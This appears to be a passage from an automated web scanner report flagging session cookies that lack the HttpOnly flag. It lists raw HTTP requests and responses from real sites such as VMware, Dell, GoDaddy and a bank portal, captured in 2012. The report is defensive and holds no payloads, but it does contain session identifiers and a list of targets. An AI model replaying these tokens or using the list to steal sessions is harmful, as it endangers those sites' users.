<head profile="http://gmpg.org/xf
...[SNIP]...
8. Cookie without HttpOnly flag set
Previous  Next

There are 178 instances of this issue:

8.1. http://877geeksonsite.com/locations/states/virginia-va/wireless-networks
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://877geeksonsite.com
Path:   /locations/states/virginia-va/wireless-networks

Request 1

GET /locations/states/virginia-va/wireless-networks HTTP/1.1
Host: 877geeksonsite.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 00:08:26 GMT
Server: Apache/2.2.21 (Unix) mod_ssl/2.2.21 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.3.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=3470c5fbf7a62b6788bce76da68db8c0; path=/
Cache-Control: max-age=1, private, must-revalidate
Connection: close
Content-Type: text/html
Content-Length: 32086


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
   
...[SNIP]...
8.2. http://communities.vmware.com/render-widget!execute.jspa
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://communities.vmware.com
Path:   /render-widget!execute.jspa

Request 1

POST /render-widget!execute.jspa HTTP/1.1
Host: communities.vmware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html, */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://communities.vmware.com/index.jspa
Content-Length: 63
Cookie: s_nr=1335320426225; __utma=106857756.1485474146.1335843542.1335843542.1335843542.1; __utmb=106857756.7.10.1335843542; __utmc=106857756; __utmz=106857756.1335843542.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; first_pv_191807=1; _jsuid=2410290445; s_cc=true; ev6=xss%2520sql%2520injection; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|27CFADD0051D0829-40000104A02C3C94[CE]; BIGipServercommunities-prod-vip-2-pool=1430155530.20480.0000
Pragma: no-cache
Cache-Control: no-cache

frameID=305375&size=2&widgetType=1&container=1&containerType=14

Response 1

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-JAL: 88
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
X-JSL: D=91892 t=1335843821713878
Content-Length: 4190
Expires: Tue, 01 May 2012 03:43:41 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:43:41 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=04BD93BE3EA65C8D0998AF26E50FE9ED.node0; Path=/
Set-Cookie: jive.server.info="serverName=communities.vmware.com:serverPort=80:contextPath=:localName=localhost.localdomain:localPort=9001:localAddr=127.0.0.1"; Version=1; Path=/


<div class="content-large">
<!-- BEGIN recent community content -->
<div class="jive-widget-rssfeed">
<div class="jive-widget-rssfeed-entry">

...[SNIP]...
8.3. http://fancybox.net/
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://fancybox.net
Path:   /

Request 1

GET / HTTP/1.1
Host: fancybox.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 00:10:57 GMT
Server: Apache
Set-Cookie: PHPSESSID=7u6dlh0t5q0vkt20k5lcp9pgb1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splash=1; expires=Wed, 02-May-2012 00:10:57 GMT; path=/
Connection: close
Content-Type: text/html
Content-Length: 10801

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   <meta http-equ
...[SNIP]...
8.4. https://jm.rbttnetbank.com/
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://jm.rbttnetbank.com
Path:   /

Request 1

GET / HTTP/1.1
Host: jm.rbttnetbank.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Connection: close
Date: Tue, 01 May 2012 00:10:09 GMT
Server: Microsoft-IIS/6.0
Response.Expires: -1
Response.CacheControl: no-store
Program: no-cache
X-Powered-By: ASP.NET
Content-Length: 10117
Content-Type: text/html
Expires: Tue, 01 May 2012 00:09:09 GMT
Set-Cookie: ASPSESSIONIDCSTTBDCC=PMDOINBDPLIGILNMEHBDJABH; path=/
Cache-control: private

<link href=styles.css rel=stylesheet>
<script Language="JavaScript">var jStyleSheet="styles.css";</script>
<script Language="JavaScript" src="Print.js"></script>


<html>
<head>
<meta NAME="GEN
...[SNIP]...
8.5. https://my.vmware.com/communities_rest_api/tagCloudService/tagCloud
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://my.vmware.com
Path:   /communities_rest_api/tagCloudService/tagCloud

Request 1

POST /communities_rest_api/tagCloudService/tagCloud HTTP/1.1
Host: my.vmware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Type: application/xml; charset=UTF-8
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST
Access-Control-Allow-Headers: Content-Type
Access-Control-Max-Age: 86400
X-Requested-With: XMLHttpRequest
Referer: https://my.vmware.com/web/vmware/evalcenter?p=vmware-vsphere5-ent
Content-Length: 178
Cookie: s_nr=1335320426225; __utma=106857756.1485474146.1335843542.1335843542.1335843948.2; __utmb=106857756.2.10.1335843948; __utmc=106857756; __utmz=106857756.1335843948.2.2.utmcsr=WWW_ProdSelTool_vsphere-standard_LearnMore|utmccn=src-tagged-url|utmcmd=src; first_pv_191807=1; _jsuid=2410290445; s_cc=true; ev6=xss%2Bsql%2Binjection; s_sq=vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520products%252520%25253A%252520vsphere%252520%25253A%252520mid-size-and-enterprise-business%252520%25253A%252520overview.html%2526pidt%253D1%2526oid%253Dhttp%25253A//www.vmware.com/go/EvaluatevSphere%2526ot%253DA; s_vi=[CS]v1|27CFADD0051D0829-40000104A02C3C94[CE]; s_evar13=WWW_ProdSelTool_vsphere-standard_LearnMore; __unam=c7447e-13706811b44-1074dca4-1; JSESSIONID=E767A3875242960C32EB925383A61EEA; GUEST_LANGUAGE_ID=en_US; COOKIE_SUPPORT=true; TS558d30=078a81198685974899c734cf0060de03723fc3f3bed27b3a4f9f5c83; myvmware-wwwa-prod=pjfc2X6uYgrPuP+FuADnKD5eFD3y9I857IDHHXuhGu9dLh8habm+vLzPOE3srvQIzYp/Apqc0xQXly4=
Pragma: no-cache
Cache-Control: no-cache

<getTagCloud><taggableTypes>801</taggableTypes><tags>kb</tags><sort>6001</sort><numOfBuckets>10</numOfBuckets><numResults>75</numResults><recursive>true</recursive></getTagCloud>

Response 1

HTTP/1.1 200 OK
Cache-Control: max-age=0
Expires: Tue, 01 May 2012 03:46:25 GMT
X-JAL: 73
Content-Type: text/xml;charset=UTF-8
Vary: Accept-Encoding,User-Agent
X-JSL: D=176652 t=1335843985824052
Content-Length: 9243
Date: Tue, 01 May 2012 03:46:26 GMT
Connection: keep-alive
Set-Cookie: jive.server.info="serverName=communities.vmware.com:serverPort=80:contextPath=:localName=localhost.localdomain:localPort=9001:localAddr=127.0.0.1"; Version=1; Path=/
Set-Cookie: JSESSIONID=025A88512E5F5C9891422A7130C1A850.node0; Path=/
Set-Cookie: BIGipServercommunities-prod-vip-2-pool=1430155530.20480.0000; path=/
Set-Cookie: TS558d30=078a81198685974899c734cf0060de03723fc3f3bed27b3a4f9f5c83; Path=/
Set-Cookie: TS571fa2=078a81198685974899c734cf0060de03723fc3f3bed27b3a4f9f5c83; Path=/localName=localhost.localdomain:localPort=9001:localAddr=127.0.0.1"

<ns2:getTagCloudResponse xmlns:ns2="http://jivesoftware.com/clearspace/webservices"><return><ID>10802</ID><objectType>0</objectType><bucket>9</bucket><count>2449</count><tag>kb</tag></return><return><
...[SNIP]...
8.6. https://myaccount.flowja.com/
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://myaccount.flowja.com
Path:   /

Request 1

GET / HTTP/1.1
Host: myaccount.flowja.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.flowjamaica.com/index.php?option=com_content&task=view&id=26&Itemid=121

Response 1

HTTP/1.1 200 OK
Date: Mon, 30 Apr 2012 22:27:52 GMT
Server: Apache
Set-Cookie: PHPSESSID=4acldkbh7oei8j6agkd6kgng94; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 15357

                       <head><meta http-equiv="Content-Type" content="text/html; charset=ISO-5529-1" />
                       <meta http-equiv="Refresh" content="1800; url=http://myaccount.flowja.com/?p=logout" />
<meta name="keywo
...[SNIP]...
8.7. http://mylearn.vmware.com/
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://mylearn.vmware.com
Path:   /

Request 1

GET / HTTP/1.1
Host: mylearn.vmware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: CP=null*; s_nr=1335320426225; __utma=106857756.1485474146.1335843542.1335843542.1335843948.2; __utmb=106857756.2.10.1335843948; __utmc=106857756; __utmz=106857756.1335843948.2.2.utmcsr=WWW_ProdSelTool_vsphere-standard_LearnMore|utmccn=src-tagged-url|utmcmd=src; _jsuid=2410290445; s_cc=true; ev6=xss%2Bsql%2Binjection; s_sq=vmwaremyvmwareprod%2C%20vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520my%252520%25253A%252520web%252520%25253A%252520evals%252520%25253A%252520VMware%252520vSphere%252520%25253A%252520guest%2526pidt%253D1%2526oid%253Dhttps%25253A//my.vmware.com/web/vmware/evalcenter%25253Fp%25253Dvmware-vsphere5-ent%252523tab_register%2526ot%253DA%26vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520products%252520%25253A%252520vsphere%252520%25253A%252520mid-size-and-enterprise-business%252520%25253A%252520overview.html%2526pidt%253D1%2526oid%253Dhttp%25253A//www.vmware.com/go/EvaluatevSphere%2526ot%253DA; s_vi=[CS]v1|27CFADD0051D0829-40000104A02C3C94[CE]; s_evar13=WWW_ProdSelTool_vsphere-standard_LearnMore; __unam=c7447e-13706811b44-1074dca4-1; JSESSIONID=E767A3875242960C32EB925383A61EEA; ObSSOCookie=loggedoutcontinue

Response 1

HTTP/1.1 302 Moved Temporarily
Date: Tue, 01 May 2012 04:09:03 GMT
Server: Microsoft-IIS/7.5
Content-Type: text/html; charset=utf-8
Location: https://mylearnssl.vmware.com
P3P: CP="CAO DSP COR CURa OTPa OUR NOR UNI STA"
Set-Cookie: CFID=78464101;expires=Thu, 24-Apr-2042 04:09:04 GMT;path=/
Set-Cookie: CFTOKEN=99b247322144f051-41DBE5D5-9013-2A85-38AE2B75872FA6DA;expires=Thu, 24-Apr-2042 04:09:04 GMT;path=/
Content-Length: 0
Connection: close
Set-Cookie: BIGipServermyln-prod-http-pool=2839441674.20480.0000; path=/

8.8. https://mylearn.vmware.com/portals/www/search/results.cfm
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://mylearn.vmware.com
Path:   /portals/www/search/results.cfm

Request 1

GET /portals/www/search/results.cfm?ui=www_edu&pID=www&menu=search-results&searchtype=simple&orderBy=relevance&category=catalog&keyword=VMware+vSphere&Search=Search HTTP/1.1
Host: mylearn.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 04:08:59 GMT
Server: Microsoft-IIS/7.5
Content-Type: text/html; charset=utf-8
P3P: CP="CAO DSP COR CURa OTPa OUR NOR UNI STA"
Set-Cookie: CFID=78464090;expires=Thu, 24-Apr-2042 04:08:59 GMT;path=/
Set-Cookie: CFTOKEN=16d03048c9b9758e-41DB3037-E1F2-02EE-EEFA4A2EA93E8040;expires=Thu, 24-Apr-2042 04:08:59 GMT;path=/
Set-Cookie: REGUI=26;path=/
Set-Cookie: PORTAL_ALIAS=www;path=/
Connection: close
Set-Cookie: BIGipServermyln-prod-https-pool=2839441674.20480.0000; path=/
Content-Length: 87306


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
   <title>VMware Training</title>
<meta http-equiv="content-
...[SNIP]...
8.9. https://mylearnssl.vmware.com/index.cfm
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://mylearnssl.vmware.com
Path:   /index.cfm

Request 1

GET /index.cfm HTTP/1.1
Host: mylearnssl.vmware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://mylearnssl.vmware.com/
Cookie: s_nr=1335320426225; __utma=106857756.1485474146.1335843542.1335843542.1335843948.2; __utmb=106857756.2.10.1335843948; __utmc=106857756; __utmz=106857756.1335843948.2.2.utmcsr=WWW_ProdSelTool_vsphere-standard_LearnMore|utmccn=src-tagged-url|utmcmd=src; _jsuid=2410290445; s_cc=true; ev6=xss%2Bsql%2Binjection; s_sq=vmwaremyvmwareprod%2C%20vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520my%252520%25253A%252520web%252520%25253A%252520evals%252520%25253A%252520VMware%252520vSphere%252520%25253A%252520guest%2526pidt%253D1%2526oid%253Dhttps%25253A//my.vmware.com/web/vmware/evalcenter%25253Fp%25253Dvmware-vsphere5-ent%252523tab_register%2526ot%253DA%26vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520products%252520%25253A%252520vsphere%252520%25253A%252520mid-size-and-enterprise-business%252520%25253A%252520overview.html%2526pidt%253D1%2526oid%253Dhttp%25253A//www.vmware.com/go/EvaluatevSphere%2526ot%253DA; s_vi=[CS]v1|27CFADD0051D0829-40000104A02C3C94[CE]; s_evar13=WWW_ProdSelTool_vsphere-standard_LearnMore; __unam=c7447e-13706811b44-1074dca4-1; JSESSIONID=E767A3875242960C32EB925383A61EEA; ObSSOCookie=loggedoutcontinue; BIGipServermyln-prod-https-pool=2822664458.20480.0000

Response 1

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 04:09:10 GMT
Server: Microsoft-IIS/7.5
Content-Type: text/html; charset=UTF-8
P3P: CP="CAO DSP COR CURa OTPa OUR NOR UNI STA"
Set-Cookie: CFID=3193340;expires=Thu, 24-Apr-2042 04:09:10 GMT;path=/
Set-Cookie: CFTOKEN=69435054;expires=Thu, 24-Apr-2042 04:09:10 GMT;path=/
Connection: close
Content-Length: 775


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>
<head>
<title>VMware Education Portal</title>
<meta http-equiv="Content-Type" co
...[SNIP]...
8.10. http://support.dell.com/
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://support.dell.com
Path:   /

Request 1

GET / HTTP/1.1
Host: support.dell.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Expires: Thu, 01 Dec 1994 8:00:00 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: StormSCookie=~tidusengen=Support; domain=.dell.com; path=/
Set-Cookie: lwp=c=us&l=en&s=gen; domain=.dell.com; path=/
X-Powered-By: ASP.NET
X-UA-Compatible: IE=7
P3P: CP=" BUS CAO CNT COM CUR DEV DSP INT NAV OUR PSA PSD SAM STA TAI UNI "
P3P: policyref="http://www.dell.com/w3c/p3p.xml", CP="BUS CAO CNT COM CUR DEV DSP INT NAV OUR PSA PSD SAM STA TAI UNI"
Set-Cookie: SITESERVER=ID=fbabb31db568457a888e9ad7b1552f34; domain=.dell.com; path=/; expires=Mon, 01-May-2017 00:11:26 GMT;
Set-Cookie: SITESERVER_SESSION=ID=fbabb31db568457a888e9ad7b1552f34; domain=.dell.com; path=/;
Date: Tue, 01 May 2012 00:11:25 GMT
Connection: close
Content-Length: 22872

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<!-- Contents of this file are Copyright 2012, Dell Inc. -->
<html>
<head>
   <TITLE>Welcom
...[SNIP]...
8.11. http://www.columbusnetworks.com/
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.columbusnetworks.com
Path:   /

Request 1

GET / HTTP/1.1
Host: www.columbusnetworks.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response 1

HTTP/1.1 200 OK
Date: Mon, 30 Apr 2012 22:17:15 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.3.8
Set-Cookie: PHPSESSID=tn1nj4q74shk452gvmgo27c583; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSessionsID=1757494639; expires=Mon 30-Apr-2012 22:22:15 GMT; path=/
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 12126

<html>
<head>
<title>Columbus Networks Corporation</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<script language="JavaScript">
<!--
function MM_swapImgRestore() { /
...[SNIP]...
8.12. http://www.educationcanada.com/
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.educationcanada.com
Path:   /

Request 1

GET / HTTP/1.1
Host: www.educationcanada.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 00:13:00 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.3.8
Set-Cookie: PHPSESSID=2b0ori2scblu8ar4bvflrqldf5; path=/; domain=.educationcanada.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 38354


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
   <title>Teaching Jobs in Canada - powered by Education Canada Network</title>
       
       <meta name="description" content="Teach
...[SNIP]...
8.13. http://www.educationdegreesource.com/request_form.php
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.educationdegreesource.com
Path:   /request_form.php

Request 1

GET /request_form.php HTTP/1.1
Host: www.educationdegreesource.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Type: text/html; charset=UTF-8
Date: Tue, 01 May 2012 00:11:45 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Location: unauthorized_page.php
Pragma: no-cache
Server: Apache/2.2.9 (Fedora)
Set-Cookie: PHPSESSID=7pb20cpptp9phm5a87ouafgvk0; path=/
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6
Content-Length: 0
Connection: Close

8.14. http://www.educationjobfairs.com/
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.educationjobfairs.com
Path:   /

Request 1

GET / HTTP/1.1
Host: www.educationjobfairs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 00:12:03 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.3.8
Set-Cookie: PHPSESSID=086gqoasi7pn4knvfg18h0pnm6; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: tImg=1; expires=Tue, 01-May-2012 01:12:03 GMT; path=/; domain=.educationjobfairs.com
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 34778

<html>
<head>
<title>Online Education Job Fairs by EducationJobFairs.com</title>
   
   <meta name="keywords" content="online job fairs, teaching opportunities, teaching, teaching jobs, job fairs, educati
...[SNIP]...
8.15. http://www.godaddy.com/gdshop/catalog.asp
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.godaddy.com
Path:   /gdshop/catalog.asp

Request 1

GET /gdshop/catalog.asp HTTP/1.1
Host: www.godaddy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 301 Moved Permanently
Cache-Control: private
Content-Length: 0
Content-Type: text/html
Expires: Tue, 24 Apr 2012 01:32:09 GMT
Location: /catalog.aspx
Server: Microsoft-IIS/7.5
Set-Cookie: ASPSESSIONIDSQDRDABD=ODMPNOICJDNMEOOJOOGMPFJC; path=/
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND"
Date: Tue, 01 May 2012 00:12:08 GMT
Connection: close

8.16. http://www.godaddy.com/gdshop/ecommerce/shopping-cart.asp
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.godaddy.com
Path:   /gdshop/ecommerce/shopping-cart.asp

Request 1

GET /gdshop/ecommerce/shopping-cart.asp HTTP/1.1
Host: www.godaddy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 301 Moved Permanently
Cache-Control: private
Content-Length: 0
Content-Type: text/html
Expires: Tue, 24 Apr 2012 01:32:08 GMT
Location: /ecommerce/shopping-cart.aspx
Server: Microsoft-IIS/7.5
Set-Cookie: ASPSESSIONIDSQDRDABD=GDMPNOICJDLCBGLPCEGODNGF; path=/
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND"
Date: Tue, 01 May 2012 00:12:08 GMT
Connection: close

8.17. http://www.godaddy.com/gdshop/hosting/dream_website.asp
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.godaddy.com
Path:   /gdshop/hosting/dream_website.asp

Request 1

GET /gdshop/hosting/dream_website.asp HTTP/1.1
Host: www.godaddy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 301 Moved Permanently
Cache-Control: private
Content-Length: 0
Content-Type: text/html
Expires: Tue, 24 Apr 2012 01:32:08 GMT
Location: /design/web-design.aspx
Server: Microsoft-IIS/7.5
Set-Cookie: ASPSESSIONIDSQDRDABD=BDMPNOICACPLCMAMBLDJLAIC; path=/
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND"
Date: Tue, 01 May 2012 00:12:08 GMT
Connection: close

8.18. https://www.godaddy.com/gdshop/broker/landing.asp
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://www.godaddy.com
Path:   /gdshop/broker/landing.asp

Request 1

GET /gdshop/broker/landing.asp HTTP/1.1
Host: www.godaddy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 301 Moved Permanently
Cache-Control: private
Content-Length: 0
Content-Type: text/html
Expires: Tue, 24 Apr 2012 01:31:59 GMT
Location: /domains/domain-broker.aspx
Server: Microsoft-IIS/7.5
Set-Cookie: ASPSESSIONIDSUDRDABD=HBMPNOICDFILKHICEJFAMAGN; secure; path=/
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND"
Date: Tue, 01 May 2012 00:11:58 GMT
Connection: close

8.19. https://www.godaddy.com/gdshop/registrar/search.asp
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://www.godaddy.com
Path:   /gdshop/registrar/search.asp

Request 1

GET /gdshop/registrar/search.asp HTTP/1.1
Host: www.godaddy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 301 Moved Permanently
Cache-Control: no-cache
Content-Length: 0
Content-Type: text/html; Charset=utf-8
Expires: Tue, 24 Apr 2012 01:32:00 GMT
Location: https://www.godaddy.com/domains/search.aspx
Server: Microsoft-IIS/7.5
Set-Cookie: currency1=potableSourceStr=USD; expires=Tue, 30-Apr-2013 07:00:00 GMT; domain=.godaddy.com; path=/
Set-Cookie: adc1=US; expires=Mon, 07-May-2012 07:00:00 GMT; domain=.godaddy.com; path=/
Set-Cookie: serverVersion=A; domain=.godaddy.com; path=/
Set-Cookie: domainYardVal=%2D1; domain=.godaddy.com; path=/
Set-Cookie: ASPSESSIONIDSUDRDABD=NBMPNOICFLHJPJMKNPLCGADA; secure; path=/
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND"
Date: Tue, 01 May 2012 00:12:00 GMT
Connection: close

8.20. http://www.jasper-da.com/google/verification_ip&client=ca-dp-godaddy2_xml
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.jasper-da.com
Path:   /google/verification_ip&client=ca-dp-godaddy2_xml

Request 1

GET /google/verification_ip&client=ca-dp-godaddy2_xml HTTP/1.1
Host: www.jasper-da.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 00:11:28 GMT
Server: Apache/2.2.9 (Debian) mod_wsgi/2.5 Python/2.5.2 PHP/5.2.6-1+lenny16 with Suhosin-Patch mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-1+lenny16
Set-Cookie: SESS7512e6ee1229c5df51179f9016cea623=a01a088b9290ee6eb82b49d9de981c6a; expires=Thu, 24 May 2012 03:44:48 GMT; path=/; domain=.jasper-da.com
Last-Modified: Tue, 01 May 2012 00:11:28 GMT
ETag: "1e4dfcd9033b22fd1a5825dcc8891898"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
